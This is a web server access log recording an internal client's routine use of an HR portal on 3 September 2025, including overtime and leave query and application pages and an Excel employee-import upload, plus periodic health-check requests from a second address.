192.168.12.66 - - [03/Sep/2025:11:41:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45217 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:41:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45217
192.168.12.66 - - [03/Sep/2025:11:41:56 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:41:56 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.12.66 - - [03/Sep/2025:11:41:56 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:41:56 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.12.66 - - [03/Sep/2025:11:41:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45217 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:41:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45217
100.64.0.1 - - [03/Sep/2025:11:42:50 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:42:50 +0800] "GET / HTTP/1.0" 200 439
192.168.12.66 - - [03/Sep/2025:11:43:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237
192.168.12.66 - - [03/Sep/2025:11:43:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:43:48 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.12.66 - - [03/Sep/2025:11:43:48 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:43:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 50955 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:43:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 50955
100.64.0.1 - - [03/Sep/2025:11:44:22 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:44:22 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:45:24 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:45:24 +0800] "GET / HTTP/1.0" 200 439
192.168.12.66 - - [03/Sep/2025:11:46:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45019 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:46:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45019
100.64.0.1 - - [03/Sep/2025:11:46:24 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:46:24 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:47:24 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:47:24 +0800] "GET / HTTP/1.0" 200 439
192.168.12.66 - - [03/Sep/2025:11:48:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:48:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237
100.64.0.1 - - [03/Sep/2025:11:49:00 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:49:00 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.12.66 - - [03/Sep/2025:11:49:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 48442 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:49:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 48442
192.168.12.66 - - [03/Sep/2025:11:49:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:49:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.66 - - [03/Sep/2025:11:49:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [03/Sep/2025:11:49:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:49:26 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.12216314241723936 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:49:26 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.12216314241723936 HTTP/1.1" 200 5264
192.168.12.66 - - [03/Sep/2025:11:49:30 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.12216314241723936 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.12216314241723936" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:49:30 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.12216314241723936 HTTP/1.1" 302 -
192.168.12.66 - - [03/Sep/2025:11:49:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4892
192.168.12.66 - - [03/Sep/2025:11:49:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4892 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.12216314241723936" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:49:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4543
192.168.12.66 - - [03/Sep/2025:11:49:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4543 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:49:41 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.12.66 - - [03/Sep/2025:11:49:41 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:49:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:49:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [03/Sep/2025:11:49:45 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.12.66 - - [03/Sep/2025:11:49:45 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:49:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:49:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.66 - - [03/Sep/2025:11:50:02 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5422668771832108 HTTP/1.1" 200 5264
192.168.12.66 - - [03/Sep/2025:11:50:02 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5422668771832108 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:50:06 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5422668771832108 HTTP/1.1" 302 -
192.168.12.66 - - [03/Sep/2025:11:50:06 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5422668771832108 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5422668771832108" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:50:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4892
192.168.12.66 - - [03/Sep/2025:11:50:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4892 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5422668771832108" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:50:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4544 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:50:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4544
192.168.12.66 - - [03/Sep/2025:11:50:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237
192.168.12.66 - - [03/Sep/2025:11:50:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:50:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 50507 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:50:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 50507
192.168.12.66 - - [03/Sep/2025:11:51:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 42948 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:51:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 42948
192.168.12.66 - - [03/Sep/2025:11:52:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 91835 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:52:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 91835
192.168.12.66 - - [03/Sep/2025:11:52:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45348 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:52:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45348
192.168.12.66 - - [03/Sep/2025:11:52:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:52:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.66 - - [03/Sep/2025:11:53:05 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8876625369062033 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:53:05 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8876625369062033 HTTP/1.1" 200 5264
192.168.12.66 - - [03/Sep/2025:11:53:09 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8876625369062033 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8876625369062033" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:53:09 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8876625369062033 HTTP/1.1" 302 -
192.168.12.66 - - [03/Sep/2025:11:53:09 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4609
192.168.12.66 - - [03/Sep/2025:11:53:09 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4609 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8876625369062033" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:53:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4311 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:53:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4311
100.64.0.1 - - [03/Sep/2025:11:53:14 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:53:14 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.12.66 - - [03/Sep/2025:11:53:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:53:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [03/Sep/2025:11:53:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:53:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.66 - - [03/Sep/2025:11:53:37 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7652641755403023 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:53:37 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7652641755403023 HTTP/1.1" 200 5264
192.168.12.66 - - [03/Sep/2025:11:53:41 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7652641755403023 HTTP/1.1" 302 -
192.168.12.66 - - [03/Sep/2025:11:53:41 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7652641755403023 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7652641755403023" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:53:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4609 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7652641755403023" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:53:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4609
192.168.12.66 - - [03/Sep/2025:11:53:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4311 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:53:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4311
192.168.12.66 - - [03/Sep/2025:11:54:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237
